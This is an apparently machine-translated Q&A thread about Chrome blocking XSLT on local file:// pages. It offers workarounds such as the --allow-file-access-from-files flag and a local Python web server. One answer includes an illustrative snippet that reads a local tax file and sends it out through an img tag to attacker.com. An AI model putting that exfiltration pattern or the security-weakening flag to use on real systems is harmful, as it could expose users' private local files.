Chrome可以在本地文件上执行XSL转换吗?
我正在调查xslt,并开始在w3schools上进行testing。
但是,当我保存文件中的xml和xsl并尝试在本地打开它们时,chrome将不执行xsl转换。 它只是显示一个空白页面。
我已经将这个<?xml-stylesheet type="text/xsl" href="style.xsl">
标签添加到了xml文档中,并且firefox按照它的样子呈现它。 另外,如果我通过Web服务器查看这些文件,chrome将显示该文件的外观。
当链接是本地的时候,chrome在查找样式表信息时是否有问题? 将href更改为file:///C:/xsl/style.xsl
没有任何区别。
更新:这似乎是一个安全策略的副作用, 不把file:/// *视为同一个原点。 这会在控制台中显示以下错误:
不安全的尝试使用URL文件:/// C:/xsl-rpg/data.xml从框架加载URL文件:/// C:/xsl-rpg/style.xsl。 域,协议和端口必须匹配。
简短的回答是“不,使用多种浏览器之一” 。
这是行不通的原因是Chrome浏览器以有争议的方式解决了安全问题[1] [2] [3] [4] ,通过阻止XML文件访问同一目录中的本地XSLT文件,而HTML文件可以访问同一目录中的.CSS文件就好了。
在上面提到的问题中,用户已经要求更清楚的错误消息(因为域,协议和端口实际上匹配),或者至less在没有样式的情况下显示XML。 Chrome开发者已经忽略了这些请求。
您可以使用Chrome的命令行标志在本地执行此操作。
特定的标志是--allow-file-access-from-files
在OS X上:从Terminal.app运行/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
在Windows上:从命令提示符下运行%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
注意:如果当前正在运行Chrome,则可能必须退出Chrome
如果你想坚持OP,答案是否定的(正如其他人指出的),但解决这个问题的一个办法是运行一个简单的networking服务器,并通过chrome打开文件。 如果你安装了python 2.x,你可以通过键入以下命令运行一个web服务器:
python -m SimpleHTTPServer
或者在python 3.x中:
python3 -m http.server
然后使用chrome中的http://localhost:8000/yourfile.xml
打开文件。 希望你只是想完成你的工作,而不是必须打开文件使用file://
在Chrome Bug页面上花了一些时间来解读 – 他们非常热衷于不解释问题所在,以及为什么select打破每个人,而不是打破每个人。
假设我的硬盘上有一个XML文件 – 某处 – 例如:
C:\用户\伊恩\文档\税\ StudioTaxReturn_2015.xml
而一个恶意的实体 – 不知何故 – 设法在我的电脑上放置一个恶意的Xml文件,例如:
C:\ Users \用户伊恩\应用程序数据\ LocalLow \ TEMP \ TrojanVirusWorm.xml
想象一下, TrojanVirusWorm.xml包含样式表处理指令( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
攻击者然后指示我的浏览器导航到本地保存的trojanVirusWorm.xml
文件。
显然有一种方式,XML文件可以读取 XSD文件的内容(而不是由XSD文件进行转换):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
我不明白XML文件如何读取样式表文件。 但是Chrome团队向我们保证,这是一个危险,而且不能解决。
每个其他浏览器解决了它。 他们解决了这个问题, 因为这不是问题 。